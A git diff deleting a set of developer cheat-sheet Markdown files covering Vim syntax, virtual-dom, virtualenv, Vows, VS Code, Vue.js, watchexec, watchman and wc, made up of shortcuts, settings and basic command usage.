-syn region inBold concealends matchgroup=bTag start="<b>" end="</b>"
-hi inBold gui=bold
-hi bTag guifg=blue
-```
-
-### Syntax
-
-```vim
-syn match :name ":regex" :flags
-
-syn region Comment  start="/\*"  end="\*/"
-syn region String   start=+"+    end=+"+	 skip=+\\"+
-
-syn cluster :name contains=:n1,:n2,:n3...
-
-flags:
-  keepend
-  oneline
-  nextgroup=
-  contains=
-  contained
-
-hi def link markdownH1 htmlH1
-```
-
-### Include guards
-
-```vim
-if exists('g:loaded_myplugin')
-  finish
-endif
-
-" ...
-
-let g:loaded_myplugin = 1
-```
diff --git a/docs/content/cheat-sheets/virtual-dom.md b/docs/content/cheat-sheets/virtual-dom.md
deleted file mode 100644
index c157d25785..0000000000
--- a/docs/content/cheat-sheets/virtual-dom.md
+++ /dev/null
@@ -1,29 +0,0 @@
----
-title: Virtual-dom
-category: JavaScript libraries
----
-
-See <https://www.npmjs.com/package/virtual-dom>
-
-```js
-var h = require('virtual-dom/h');
-var diff = require('virtual-dom/diff');
-var patch = require('virtual-dom/patch');
-var createElement = require('virtual-dom/create-element');
-```
-
-### Rendering
-
-```js
-tree = h('div', { style: { color: 'blue' } }, ['hello']);
-el = createElement(tree);
-document.body.appendChild(root);
-```
-
-### Updating
-
-```js
-tree2 = h('div', { style: { color: 'blue' } }, ['hello world']);
-delta = diff(tree, tree2);
-el = patch(el, delta); // patch() modifies el
-```
diff --git a/docs/content/cheat-sheets/virtualenv.md b/docs/content/cheat-sheets/virtualenv.md
deleted file mode 100644
index 06703561dc..0000000000
--- a/docs/content/cheat-sheets/virtualenv.md
+++ /dev/null
@@ -1,49 +0,0 @@
-# To create a new environment:
-
-virtualenv /path/to/project/env_name
-
-# To create a new environment and inherit already installed Python libraries:
-
-virtualenv --system-site-package /path/to/project/env_name
-
-# To create a new environment with a given Python interpreter:
-
-virtualenv /path/to/project/env_name -p /usr/bin/python/3.4
-
-# To activate an environnment:
-
-source /path/to/project/env_name/bin/activate
-
-# To quit an environment:
-
-deactivate
-
-# To Virtualenvwrapper (wrapper for virtualenv) installation:
-
-pip install --user virtualenvwrapper
-
-# configuration
-
-# add in ~/.bashrc or similar
-
-export WORKON_HOME=~/.virtualenvs
-mkdir -p $WORKON_HOME
-source ~/.local/bin/virtualenvwrapper.sh
-
-# To create a new environmment (with virtualenvwrapper)
-
-mkvirtualenv env_name
-
-# new environmment is stored in ~/.virtualenvs
-
-# To activate environmment (with virtualenvwrapper)
-
-workon env_name
-
-# To quit environmment (with virtualenvwrapper)
-
-deactivate
-
-# To delete environmment (with virtualenvwrapper)
-
-rmvirtualenv env_name
diff --git a/docs/content/cheat-sheets/vows.md b/docs/content/cheat-sheets/vows.md
deleted file mode 100644
index b12777eb00..0000000000
--- a/docs/content/cheat-sheets/vows.md
+++ /dev/null
@@ -1,50 +0,0 @@
----
-title: Vows
-category: JavaScript libraries
----
-
--   [Vowsjs.org](http://vowsjs.org/)
-
-### CoffeeScript usage
-
-    vows = require "vows"
-    assert = require "assert"
-
-    vows
-      .describe('My tests')
-      .addBatch
-        'context':
-          topic: ->
-            100
-          'should work': (number) ->
-            assert.equal number, 100
-
-      .export(module)
-
-### Running
-
-    vows test/*-test.* --spec
-
-### Assertions
-
-    assert.equal a, b
-    assert.notEqual a, b
-    assert.strictEqual a, b
-
-    assert.isNaN(number)
-    assert.instanceOf(object, klass)
-    assert.isUndefined(object)
-    assert.isFunction(func)
-    assert.isNull(object)
-    assert.isNotZero(object)
-    assert.isObject(object)
-    assert.isString(object)
-
-### Async
-
-    .addBatch
-      topic: ->
-        doStuff()
-        @callback 2
-      'check things': (n) ->
-        assert.equal 2, n
diff --git a/docs/content/cheat-sheets/vscode-cheat-sheet.md b/docs/content/cheat-sheets/vscode-cheat-sheet.md
deleted file mode 100644
index 49cffd9724..0000000000
--- a/docs/content/cheat-sheets/vscode-cheat-sheet.md
+++ /dev/null
@@ -1,202 +0,0 @@
-# VSCODE Cheat Sheet
-
-## Visual Studio CheatSheet
-
-### Shortcuts
-
-#### Linux
-
-**General**
-
--   `Ctrl`+`Shift`+`P`, `F1`: Show Command Palette
--   `Ctrl`+`P`: Quick Open, Go to File
--   `Ctrl`+`Shift`+`N`: New window/instance
--   `Ctrl`+`W`: Close window/instance
--   `Ctrl`+`,`: User Settings
--   `Ctrl`+`K`, `Ctrl`+`S`: Keyboard Shortcuts
-
-**Basic editing**
-
--   `Ctrl`+`X`: Cut line (empty selection)
--   `Ctrl`+`C`: Copy line (empty selection)
--   `Ctrl`+`↓/↑`: Move line down / up
--   `Ctrl`+`Shift`+`K`: Delete line
--   `Ctrl`+`Enter` / `Ctrl`+`Shift`+`Enter`: Insert line below / above
--   `Ctrl`+`Shift`+`\`: Jump to matching bracket
--   `Ctrl`+`]` / `Ctrl`+`[`: Indent / Outdent line
--   `Ctrl`+`Home` / `End`: Go to beginning / end of file
--   `Ctrl`+`↑ / ↓`: Scroll line up / down
--   `Alt`+`PgUp` / `PgDn`: Scroll page up / down
--   `Ctrl`+`Shift`+`[ / ]`: Fold / unfold region
--   `Ctrl`+`K`, `Ctrl`+`[ / ]`: Fold / unfold all subregions
--   `Ctrl`+`K`, `Ctrl`+`0` / `Ctrl`+`K`, `Ctrl`+`J`: Fold /Unfold all regions
--   `Ctrl`+`K`, `Ctrl`+`C`: Add line comment
--   `Ctrl`+`K`, `Ctrl`+`U`: Remove line comment
--   `Ctrl`+`/`: Toggle line comment
--   `Ctrl`+`Shift`+`A`: Toggle block comment
--   `Alt`+`Z`: Toggle word wrap
-
-### Useful Extensions
-
-#### HTML & CSS
-
--   [`CSScomb`](https://marketplace.visualstudio.com/items?itemName=mrmlnc.vscode-csscomb): Coding style formatter for CSS, Less, SCSS and Saas.
--   [`Puglint`](https://marketplace.visualstudio.com/items?itemName=mrmlnc.vscode-puglint): Linter and style checker for pug.
--   [`Sass`](https://marketplace.visualstudio.com/items?itemName=Syler.sass-indented): Indented Sass syntax highlighting, autocomplete & snippets.
--   [`SCSS IntelliSense`](https://marketplace.visualstudio.com/items?itemName=mrmlnc.vscode-scss): Advanced autocompletion and refactoring support for SCSS.
--   [`XML Format`](https://marketplace.visualstudio.com/items?itemName=mikeburgh.xml-format): Format XML documents.
-
-#### JavaScript, Node & NPM
-
--   [`Import Cost`](https://marketplace.visualstudio.com/items?itemName=wix.vscode-import-cost): This extension will display inline in the editor the size of the imported package.
--   [`ESLint`](https://marketplace.visualstudio.com/items?itemName=dbaeumer.vscode-eslint): Integrates ESLint into VS Code
--   [`NPM`](https://marketplace.visualstudio.com/items?itemName=eg2.vscode-npm-script): NPM support for VS Code.
--   [`NPM Intellisense`](https://marketplace.visualstudio.com/items?itemName=christian-kohler.npm-intellisense): Visual Studio Code plugin that autocompletes NPM modules in import statements.
--   [`Version Lens`](https://marketplace.visualstudio.com/items?itemName=pflannery.vscode-versionlens): Shows the latest version for each package using code lens.
--   [`Vetur`](https://marketplace.visualstudio.com/items?itemName=octref.vetur): Vue tooling for VS Code.
-
-#### PHP
-
--   [`Better PHPUnit`](https://marketplace.visualstudio.com/items?itemName=calebporzio.better-phpunit): A better PHPUnit test runner.
--   [`Laravel Artisan`](https://marketplace.visualstudio.com/items?itemName=ryannaddy.laravel-artisan): Laravel Artisan commands within Visual Studio Code.
--   [`PHP CS Fixer`](https://marketplace.visualstudio.com/items?itemName=junstyle.php-cs-fixer): PHP CS Fixer extension for VS Code, php formatter, php code beautify tool.
--   [`PHP Doc Comment VSCode Plugin`](https://marketplace.visualstudio.com/items?itemName=rexshi.phpdoc-comment-vscode-plugin): Add phpdoc @param and @return tag for selected function signatures.
--   [`PHP IntelliSense`](https://marketplace.visualstudio.com/items?itemName=felixfbecker.php-intellisense): Advanced Autocompletion and Refactoring support for PHP.
-
-#### Perl
-
--   [`Perl`](https://marketplace.visualstudio.com/items?itemName=cfgweb.vscode-perl): Code intelligence for the Perl language.
--   [`Perl Toolbox`](https://marketplace.visualstudio.com/items?itemName=d9705996.perl-toolbox): Perl Toolbox for linting and syntax checking for Perl.
--   [`Perl Moose`](https://marketplace.visualstudio.com/items?itemName=torrentalle.perl-moose): Perl Moose syntax highlight support for Visual Studio Code.
-
-#### Git
-
--   [`Git History`](https://marketplace.visualstudio.com/items?itemName=donjayamanne.githistory): View git log, file history, compare branches or commits.
--   [`Gitignore`](https://marketplace.visualstudio.com/items?itemName=codezombiech.gitignore): An extension for Visual Studio Code that assists you in working with .gitignore files.
--   [`GitLens`](https://marketplace.visualstudio.com/items?itemName=eamodio.gitlens): Visualize code authorship, code lens, seamlessly Git blame annotations and more.
--   [`Gitmoji`](https://marketplace.visualstudio.com/items?itemName=Vtrois.gitmoji-vscode): An emoji tool for your git commit messages.
-
-#### Themes
-
--   [`Material Icon Theme`](https://marketplace.visualstudio.com/items?itemName=PKief.material-icon-theme): Material Design Icons for Visual Studio Code.
--   [`Palenight Theme`](https://marketplace.visualstudio.com/items?itemName=whizkydee.material-palenight-theme): An elegant and juicy material-like theme for Visual Studio Code.
--   [`Office Theme`](https://marketplace.visualstudio.com/items?itemName=huacat.office-theme) A Microsoft Office theme for Visual Studio Code.
-
-#### Handy
-
--   [`Better comments`](https://marketplace.visualstudio.com/items?itemName=aaron-bond.better-comments): Improve your code commenting by annotating with alert, informational, TODOs, and more!
--   [`Debugger for Chrome`](https://marketplace.visualstudio.com/items?itemName=msjsdiag.debugger-for-chrome): Debug your JavaScript code in the Chrome browser.
--   [`EditorConfig for VS Code`](https://marketplace.visualstudio.com/items?itemName=EditorConfig.EditorConfig): EditorConfig Support for Visual Studio Code.
--   [`File Utils`](https://marketplace.visualstudio.com/items?itemName=sleistner.vscode-fileutils): A convenient way of creating, duplicating, moving, renaming and deleting files and directories.
--   [`Final-Newline`](https://marketplace.visualstudio.com/items?itemName=samverschueren.final-newline): Inserts a final newline when saving the document.
--   [`Formatting Toggle`](https://marketplace.visualstudio.com/items?itemName=tombonnike.vscode-status-bar-format-toggle): A VS Code extension that allows you to toggle the formatter (Prettier, Beautify, …) ON and OFF with a simple click.
--   [`Open in Github/Bitbucket...`](https://marketplace.visualstudio.com/items?itemName=ziyasal.vscode-open-in-github): Jump to a source code line in Github / Bitbucket, Gitlab, VisualStudio.com
--   [`OpenChrome`](https://marketplace.visualstudio.com/items?itemName=huazaierli.openchrome&ssr=false#overview): Open file with Chrome.
--   [`Output Colorizer`](https://marketplace.visualstudio.com/items?itemName=IBM.output-colorizer): Syntax Highlighting for log files.
--   [`Prettier - Code formatter`](https://marketplace.visualstudio.com/items?itemName=esbenp.prettier-vscode): VS Code plugin for prettier/prettier.
--   [`Project Manager`](https://marketplace.visualstudio.com/items?itemName=alefragnani.project-manager): Easily switch between projects.
--   [`REST Client`](https://marketplace.visualstudio.com/items?itemName=humao.rest-client): REST Client for Visual Studio Code.
--   [`SVG Viewer`](https://marketplace.visualstudio.com/items?itemName=cssho.vscode-svgviewer): SVG Viewer for Visual Studio Code.
--   [`Terminal`](https://marketplace.visualstudio.com/items?itemName=formulahendry.terminal): Terminal for Visual Studio Code.
--   [`Vue Peek`](https://marketplace.visualstudio.com/items?itemName=dariofuzinato.vue-peek): Allows peek and goto definition for Vue single-file components.
--   [`VS Live Share`](https://marketplace.visualstudio.com/items?itemName=MS-vsliveshare.vsliveshare): Real-time collaborative development from the comfort of your favorite tools.
--   [`Wrap Console Log`](https://marketplace.visualstudio.com/items?itemName=midnightsyntax.vscode-wrap-console-log): Wrap to console.log by word or selection.
--   [`Bracket Pair Colorizer`](https://marketplace.visualstudio.com/items?itemName=CoenraadS.bracket-pair-colorizer): Allows matching brackets to be identified with colours.
-
-### My Settings
-
-```js
-{
-    // Controls the font size in pixels
-    "editor.fontSize": 14,
-
-    // Render vertical rulers after a certain number of
-    // monospace characters. Use multiple values for multiple
-    // rulers. No rulers are drawn if array is empty
-    "editor.rulers": [100],
-
-    // The number of spaces a tab is equal to
-    "editor.tabSize": 2,
-
-    "[python]": {
-        "editor.tabSize": 4
-    },
-
-    // Controls the line height
-    "editor.lineHeight": 22,
-
-    // Controls the font family
-    "editor.fontFamily": "Fira Code",
-
-    // Enables font ligatures
-    "editor.fontLigatures": true,
-
-    // Controls whether snippets are shown with other suggestions and how they are sorted.
-    "editor.snippetSuggestions": "top",
-
-    // Ignore extension recommendations
-    "extensions.ignoreRecommendations": false,
-
-    // Controls auto save of dirty files
-    "files.autoSave": "afterDelay",
-
-    // Controls the delay in ms after which a dirty file is saved automatically
-    "files.autoSaveDelay": 1000,
-
-    // Configure glob patterns for excluding files and folders
-    "files.exclude": {
-        ".yarn": true,
-        "**/*.pyc": true
-    },
-
-    // Insert a final new line at the end of the file when saving it
-    "files.insertFinalNewline": true,
-
-    // Confirm before synchronizing git repositories
-    "git.confirmSync": false,
-
-    // Commit all changes when there are no staged changes
-    "git.enableSmartCommit": true,
-
-    // Whether to lint Python files using pylint
-    "python.linting.pylintEnabled": false,
-
-    // Whether to lint Python files using flake8
-    "python.linting.flake8Enabled": true,
-
-    // Configure glob patterns for excluding files and folders in
-    // searches. Inherits all glob patterns from the files.exclude setting.
-    "search.exclude": {
-        "**/.git": true,
-        "**/.nuxt": true,
-        "**/build": true,
-        "**/data": true,
-        "**/dist": true,
-        "**/env": true
-    },
-
-    // Adjust the zoom level of the window. The original size is 0
-    // and each increment above (e.g. 1) or below (e.g. -1) represents
-    // zooming 20% larger or smaller. You can also enter decimals to
-    // adjust the zoom level with a finer granularity.
-    "window.zoomLevel": 0,
-
-    // Overrides colors from the currently selected color theme.
-    "workbench.colorCustomizations": {
-        "statusBar.background": "#8252be",
-        "statusBar.foreground": "#eeffff",
-        "titleBar.activeBackground": "#282b3c",
-        "titleBar.activeForeground": "#eeefff"
-    },
-
-    // Specifies the color theme used in the workbench
-    "workbench.colorTheme": "Material Palenight",
-
-    // Specifies the icon theme used in the workbench
-    "workbench.iconTheme": "material-icon-theme",
-
-    // Controls font aliasing method in the workbench
-    "workbench.fontAliasing": "antialiased",
-    "explorer.confirmDragAndDrop": false
-}
-```
diff --git a/docs/content/cheat-sheets/vscode.md b/docs/content/cheat-sheets/vscode.md
deleted file mode 100644
index e053cb98ac..0000000000
--- a/docs/content/cheat-sheets/vscode.md
+++ /dev/null
@@ -1,101 +0,0 @@
----
-title: Visual Studio Code
-category: Apps
-
-weight: -5
-keywords:
-    - '⌘P: Show files'
-    - '⌘B: Toggle sidebar'
-    - '⌘J: Toggle panel'
-    - 'F5: Debug'
-intro: |
-    [Visual Studio Code](https://code.visualstudio.com/), or VSCode, is an open-source code editor. This guide targets VSCode v1.19.
----
-
-## Shortcuts
-
-### Command palette
-
-| Key   | Description       |
-| ----- | ----------------- |
-| `⇧⌘P` | Show all commands |
-| `⌘P`  | Show files        |
-
-{: .-shortcuts}
-
-### Sidebars
-
-| Key   | Description    |
-| ----- | -------------- |
-| `⌘B`  | Toggle sidebar |
-| ----  | ----           |
-| `⇧⌘E` | Explorer       |
-| `⇧⌘F` | Search         |
-| `⇧⌘D` | Debug          |
-| `⇧⌘X` | Extensions     |
-| `⇧^G` | Git (SCM)      |
-
-{: .-shortcuts}
-
-### Search
-
-| Key   | Description      |
-| ----- | ---------------- |
-| `⌘F`  | Find             |
-| `⌥⌘F` | Replace          |
-| ----  | ----             |
-| `⇧⌘F` | Find in files    |
-| `⇧⌘H` | Replace in files |
-
-{: .-shortcuts}
-
-### Panel
-
-| Key             | Description   |
-| --------------- | ------------- |
-| `⌘J`            | Toggle panel  |
-| ----            | ----          |
-| `⇧⌘M`           | Problems      |
-| `⇧⌘U`           | Output        |
-| `⇧⌘Y`           | Debug console |
-| <code>^`</code> | Terminal      |
-
-{: .-shortcuts}
-
-### View
-
-| Key      | Description      |
-| -------- | ---------------- |
-| `⌘k` `z` | Zen mode         |
-| ----     | ----             |
-| `⌘k` `u` | Close unmodified |
-| `⌘k` `w` | Close all        |
-
-{: .-shortcuts}
-
-### Debug
-
-| Key    | Description             |
-| ------ | ----------------------- |
-| `F5`   | Start                   |
-| `⇧F5`  | Stop                    |
-| `⇧⌘F5` | Restart                 |
-| ----   | ----                    |
-| `^F5`  | Start without debugging |
-| ----   | ----                    |
-| `F9`   | Toggle breakpoint       |
-| ----   | ----                    |
-| `F10`  | Step over               |
-| `F11`  | Step into               |
-| `⇧F11` | Step out                |
-| ----   | ----                    |
-| `⇧⌘D`  | Debug sidebar           |
-| `⇧⌘Y`  | Debug panel             |
-
-{: .-shortcuts}
-
-## References
-
--   [Keyboard shortcuts (MacOS)](https://code.visualstudio.com/shortcuts/keyboard-shortcuts-macos.pdf) _(code.visualstudio.com)_
--   [Keyboard shortcuts (Windows)](https://code.visualstudio.com/shortcuts/keyboard-shortcuts-windows.pdf) _(code.visualstudio.com)_
--   [Keyboard shortcuts (Linux)](https://code.visualstudio.com/shortcuts/keyboard-shortcuts-linux.pdf) _(code.visualstudio.com)_
diff --git a/docs/content/cheat-sheets/vue.md b/docs/content/cheat-sheets/vue.md
deleted file mode 100644
index 491958f661..0000000000
--- a/docs/content/cheat-sheets/vue.md
+++ /dev/null
@@ -1,383 +0,0 @@
----
-title: Vue.js
-category: JavaScript
-
-weight: -10
-intro: |
-    [Vue.js](https://vuejs.org/) is an open-source Model-view-viewmodel JavaScript framework for building user interfaces and single-page applications.
----
-
-{%raw%}
-
-## Expressions
-
-### Expressions
-
-```html
-<div id="app">
-    <p>I have a {{ product }}</p>
-    <p>{{ product + 's' }}</p>
-    <p>{{ isWorking ? 'YES' : 'NO' }}</p>
-    <p>{{ product.getSalePrice() }}</p>
-</div>
-```
-
-See: [Delimiters](https://vuejs.org/v2/api/#delimiters)
-
-### Binding
-
-```html
-<a v-bind:href="url">...</a>
-```
-
-#### Shorthand syntax
-
-```html
-<a :href="url">...</a>
-```
-
-{: data-line="1"}
-
-#### True or false will add or remove attribute
-
-```html
-<button :disabled="isButtonDisabled">...</button>
-```
-
-#### If isActive is truthy, the class ‘active' will appear
-
-```html
-<div :class="{ active: isActive }">...</div>
-```
-
-#### Style color set to value of activeColor
-
-```html
-<div :style="{ color: activeColor }"></div>
-```
-
-See: [v-bind](https://vuejs.org/v2/api/#v-bind)
-
-### Directives
-
-#### Element inserted/removed based on truthiness
-
-```html
-<p v-if="inStock">{{ product }}</p>
-```
-
-```html
-<p v-else-if="onSale">...</p>
-<p v-else>...</p>
-```
-
-#### Toggles the display: none CSS property
-
-```html
-<p v-show="showProductDetails">...</p>
-```
-
-#### Two-way data binding
-
-```html
-<input v-model="firstName" />
-```
-
-| Method                 | Description                    |
-| ---------------------- | ------------------------------ |
-| `v-model.lazy="..."`   | Syncs input after change event |
-| `v-model.number="..."` | Always returns a number        |
-| `v-model.trim="..."`   | Strips whitespace              |
-
-See: [Directives](https://vuejs.org/v2/api/#Directives)
-
-### Actions/Events
-
-#### Calls addToCart method on component
-
-```html
-<button v-on:click="addToCart">...</button>
-```
-
-#### Shorthand syntax
-
-```html
-<button @click="addToCart">...</button>
-```
-
-{: data-line="1"}
-
-#### Arguments can be passed
-
-```html
-<button @click="addToCart(product)">...</button>
-```
-
-#### To prevent default behavior (e.g. page reload)
-
-```html
-<form @submit.prevent="addProduct">...</form>
-```
-
-#### Only trigger once
-
-```html
-<img @mouseover.once="showImage" />...
-```
-
-| Method   | Description                                    |
-| -------- | ---------------------------------------------- |
-| `.stop`  | Stop all event propagation                     |
-| `.self ` | Only trigger if event.target is element itself |
-
-#### Keyboard entry example
-
-```html
-<input @keyup.enter="submit" />
-```
-
-#### Call onCopy when control-c is pressed
-
-```html
-<input @keyup.ctrl.c="onCopy" />
-```
-
-See: [Events](https://vuejs.org/v2/guide/events.html)
-
-### List rendering
-
-#### The `:key` is always recommended
-
-```html
-<li v-for="item in items" :key="item.id">{{ item }}</li>
-```
-
-{: data-line="2"}
-
-#### To access the position in the array
-
-```html
-<li v-for="(item, index) in items">...</li>
-```
-
-#### To iterate through objects
-
-```html
-<li v-for="(value, key) in object">...</li>
-```
-
-#### Using `v-for` with a component
-
-```html
-<cart-product v-for="item in products" :product="item" :key="item.id"></cart-product>
-```
-
-See: [List Rendering](https://vuejs.org/v2/guide/list.html)
-
-## Component
-
-### Component anatomy
-
-```js
-Vue.component('my-component', {
-  components: {
-    // Components that can be used in the template
-    ProductComponent,
-    ReviewComponent
-  },
-  props: {
-    // The parameters the component accepts
-    message: String,
-    product: Object,
-    email: {
-      type: String,
-      required: true,
-      default: "none"
-      validator: function (value) {
-        // Should return true if value is valid
-      }
-    }
-  },
-  data: function() {
-    // `data` must be a function
-    return {
-      firstName: 'Vue',
-      lastName: 'Mastery'
-    }
-  },
-  computed: {
-    // Return cached values until dependencies change
-    fullName: function () {
-      return this.firstName + ' ' + this.lastName
-    }
-  },
-  watch: {
-    // Called when firstName changes value
-    firstName: function (value, oldValue) { ... }
-  },
-  methods: { ... },
-  template: '<span>{{ message }}</span>',
-  // Can also use backticks in `template` for multi-line
-})
-```
-
-{: data-line="3, 8, 16, 21, 28, 34, 39"}
-
-See: [Components Basics](https://vuejs.org/v2/guide/components.html)
-
-### Lifecycle hooks
-
-| Method          | Description                                                                              |
-| --------------- | ---------------------------------------------------------------------------------------- |
-| `beforeCreate`  | After the instance has been initialized [#](https://vuejs.org/v2/api/#beforeCreate)      |
-| `created`       | After the instance is created [#](https://vuejs.org/v2/api/#created)                     |
-| `beforeMount`   | Before the first render [#](https://vuejs.org/v2/api/#beforeMount)                       |
-| `mounted`       | After the instance has been mounted [#](https://vuejs.org/v2/api/#mounted)               |
-| `beforeUpdate`  | When data changes, before the DOM is patched [#](https://vuejs.org/v2/api/#beforeUpdate) |
-| `updated`       | After a data change [#](https://vuejs.org/v2/api/#updated)                               |
-| `beforeDestroy` | Before the instance is destroyed [#](https://vuejs.org/v2/api/#beforeDestroy)            |
-| `destroyed`     | After a Vue instance has been destroyed [#](https://vuejs.org/v2/api/#destroyed)         |
-
-See: [Lifecycle Hooks](https://vuejs.org/v2/api/#Options-Lifecycle-Hooks)
-
-### Custom events
-
-#### Set listener on component, within its parent
-
-```html
-<button-counter v-on:incrementBy="incWithVal"></button-counter>
-```
-
-#### Inside parent component
-
-```js
-methods: {
-  incWithVal: function (toAdd) { ... }
-}
-```
-
-#### Inside button-counter template
-
-```js
-this.$emit(
-    'incrementBy', // Custom event name
-    5 // Data sent up to parent
-);
-```
-
-Use props to pass data into child components,
-custom events to pass data to parent elements.
-
-See: [Custom Events](https://vuejs.org/v2/guide/components-custom-events.html)
-
-## Single file components
-
-### Single file
-
-```html
-<template>
-    <p>{{ greeting }} World!</p>
-</template>
-
-<script>
-    module.exports = {
-        data: function () {
-            return {
-                greeting: 'Hello'
-            };
-        }
-    };
-</script>
-
-<style scoped>
-    p {
-        font-size: 2em;
-        text-align: center;
-    }
-</style>
-```
-
-See: [Single File Components](https://vuejs.org/v2/guide/single-file-components.html)
-
-### Separation
-
-```html
-<template>
-    <div>This will be pre-compiled</div>
-</template>
-<script src="./my-component.js"></script>
-<style src="./my-component.css"></style>
-```
-
-See: [What About Separation of Concerns?](https://vuejs.org/v2/guide/single-file-components.html#What-About-Separation-of-Concerns)
-
-## Slots
-
-### Using a single slot
-
-#### Component template
-
-```html
-<div>
-    <h2>I'm a title</h2>
-    <slot> Only displayed if no slot content </slot>
-</div>
-```
-
-{: data-line="3,4,5"}
-
-#### Use of component with data for slot
-
-```html
-<my-component>
-    <p>This will go in the slot</p>
-</my-component>
-```
-
-{: data-line="2"}
-
-See: [Slots](https://vuejs.org/v2/guide/components-slots.html)
-
-### Multiple slots
-
-#### Component template
-
-```html
-<div class="container">
-    <header>
-        <slot name="header"></slot>
-    </header>
-    <main>
-        <slot>Default content</slot>
-    </main>
-    <footer>
-        <slot name="footer"></slot>
-    </footer>
-</div>
-```
-
-{: data-line="3,6,9"}
-
-#### Use of component with data for slots
-
-```html
-<app-layout>
-    <h1 slot="header">Page title</h1>
-    <p>the main content.</p>
-    <p slot="footer">Contact info</p>
-</app-layout>
-```
-
-{: data-line="2,3,4"}
-
-See: [Slots](https://vuejs.org/v2/guide/components-slots.html)
-
-## Also see
-
--   [Vue CLI](https://cli.vuejs.org/) _(cli.vuejs.org)_
--   [Vue Router](https://router.vuejs.org/) _(router.vuejs.org)_
--   [Vue DevTools](https://chrome.google.com/webstore/detail/vuejs-devtools/nhdogjmejiglipccpnnnanhbledajbpd?hl=en) _(chrome.google.com)_
--   [Nuxt.js](https://nuxtjs.org/) _(nuxtjs.org)_
--   [Vue.js v1.0.28 cheatsheet](vue@1.0.28/) _Legacy version_
-
-{%endraw%}
diff --git a/docs/content/cheat-sheets/vue@1.0.28.md b/docs/content/cheat-sheets/vue@1.0.28.md
deleted file mode 100644
index f91851924c..0000000000
--- a/docs/content/cheat-sheets/vue@1.0.28.md
+++ /dev/null
@@ -1,113 +0,0 @@
----
-title: Vue.js v1.0.28
-category: JavaScript
-
-deprecated: true
-weight: -10
-intro: |
-    **Deprecated:** this guide targets an old version of Vuej.js (v1.0.28). See the [updated Vue.js cheatsheet](vue) for new versions.
----
-
-{% raw %}
-
-### Lists
-
-```html
-<li v-for="todo in todos">{{ todo.text }} {{ $index }}</li>
-```
-
-### Events
-
-```html
-<button v-on:click="submit">Go</button>
-```
-
-### Components
-
-```js
-new Vue({
-    components: { app: App }
-});
-```
-
-## API
-
-```js
-Vue.extend({ ... })        // creating components
-Vue.nextTick(() => {...})
-
-Vue.set(object, key, val)  // reactive
-Vue.delete(object, key)
-
-Vue.directive('my-dir', { bind, update, unbind })
-// <div v-my-dir='...'></div>
-
-Vue.elementDirective('my-dir', { bind, update, unbind })
-// <my-dir>...</my-dir>
-
-Vue.component('my-component', Vue.extend({ .. }))
-
-Vue.partial('my-partial', '<div>hi {{msg}}</div>')
-// <partial name='my-partial'></partial>
-```
-
-```js
-new Vue({
-  data: { ... }
-  props: ['size'],
-  props: { size: Number },
-  computed: { fullname() { return this.name + ' ' + this.lastName } },
-  methods: { go() { ... } },
-  watch: { a (val, oldVal) { ... } },
-  el: '#foo',
-  template: '...',
-  replace: true, // replace element (default true)
-
-  // lifecycle
-  created () {},
-  beforeCompile () {},
-  compiled () {},
-  ready () {}, // $el is inserted for the first time
-  attached () {},
-  detached () {},
-  beforeDestroy () {},
-  destroyed () {},
-
-  // options
-  directives: {},
-  elementDirectives: {},
-  filters: {},
-  components: {},
-  transitions: {},
-  partials: {}
-})
-```
-
-## Vue templates
-
-Via [vueify](https://www.npmjs.com/package/vueify)
-
-```js
-// app.vue
-<template>
-  <h1 class="red">{{msg}}</h1>
-</template>
-
-<script>
-  module.exports = {
-    data () {
-      return {
-        msg: 'Hello world!'
-      }
-    }
-  }
-</script>
-```
-
-Also
-
-```html
-<template lang="jade"> h1(class='red') {{msg}} </template>
-```
-
-{% endraw %}
diff --git a/docs/content/cheat-sheets/watchexec.md b/docs/content/cheat-sheets/watchexec.md
deleted file mode 100644
index 621c09f588..0000000000
--- a/docs/content/cheat-sheets/watchexec.md
+++ /dev/null
@@ -1,60 +0,0 @@
----
-title: Watchexec
-
-category: CLI
-weight: -1
-keywords:
-    - 'watchexec --excts js,jsx -- npm test'
-    - 'watchexec --help'
-intro: |
-    [mattgreen/watchexec](https://github.com/mattgreen/watchexec) runs commands whenever certain files change.
----
-
-### Installation
-
-#### OSX
-
-```bash
-brew install watchexec
-```
-
-#### Rust
-
-```bash
-cargo install watchexec
-```
-
-For Linux and Windows, get it from [GitHub releases](https://github.com/mattgreen/watchexec).
-
-### Getting started
-
-```bash
-watchexec --exts js,jsx -- npm test
-```
-
-Runs `npm test` when `js,jsx` files change.
-
-```bash
-watchman -w lib -w test -- npm test
-```
-
-Runs `npm test` when `lib/` and `test/` files change.
-
-### Other options
-
-#### Flags
-
-| `-c` `--clear` | Clear screen |
-| `-r` `--restart` | Restart process if its still running |
-
-#### Options
-
-| `-s` `--signal SIGKILL` | Kill signal to use |
-| `-d` `--debounce MS` | Debounce by `MS` milliseconds |
-| `-e` `--exts EXTS` | Extensions |
-| `-i` `--ignore PATTERN` | Ignore these files |
-| `-w` `--watch PATH` | Watch these directories |
-
-## Also see
-
--   [mattgreen/watchexec](https://github.com/mattgreen/watchexec) _(github.com)_
diff --git a/docs/content/cheat-sheets/watchman.md b/docs/content/cheat-sheets/watchman.md
deleted file mode 100644
index 43c6abbff7..0000000000
--- a/docs/content/cheat-sheets/watchman.md
+++ /dev/null
@@ -1,35 +0,0 @@
----
-title: Watchman
-
-weight: -1
-keywords:
-    - 'watchman watch ~/src'
-    - 'watchman watch-list'
-    - "watchman -- trigger ~/rsc remake '*.js' -- make "
----
-
-### Getting started
-
-```bash
-watchman watch ./src
-```
-
-Adds `./src` to the watch list.
-
-```bash
-watchman -- trigger ./src retest '*.js' -- npm test
-```
-
-Adds a trigger called `retest` to run `npm test` every time `*.js` changes in `./src`.
-
-### Watching
-
-```
-watchman watch ~/src
-watchman watch-list
-watchman watch-del ~/src
-```
-
-## Also see
-
--   [Documentation](https://facebook.github.io/watchman/docs/install.html) _(facebook.github.io)_
diff --git a/docs/content/cheat-sheets/wc.md b/docs/content/cheat-sheets/wc.md
deleted file mode 100644
index 2a5965e1b9..0000000000
--- a/docs/content/cheat-sheets/wc.md
+++ /dev/null
@@ -1,24 +0,0 @@
-# To count the number of words (file or STDIN):
-
-wc -w <file>
-cat <file> | wc -w
-
-# To count the number of lines (file or STDIN):
-
-wc -l <file>
-cat <file> | wc -l
-
-# To count the number of bytes (file or STDIN):
-
-wc -c <file>
-cat <file> | wc -c
-
-# To count files and directories at a given location:
-
-ls -l | wc -l
-
-# To if you ever use `wc` in a shell script and need to compare the output with an int you can
-
-# clean the output (wc returns extra characters around the integer) by using xargs:
-
-ls -l | wc -l | xargs
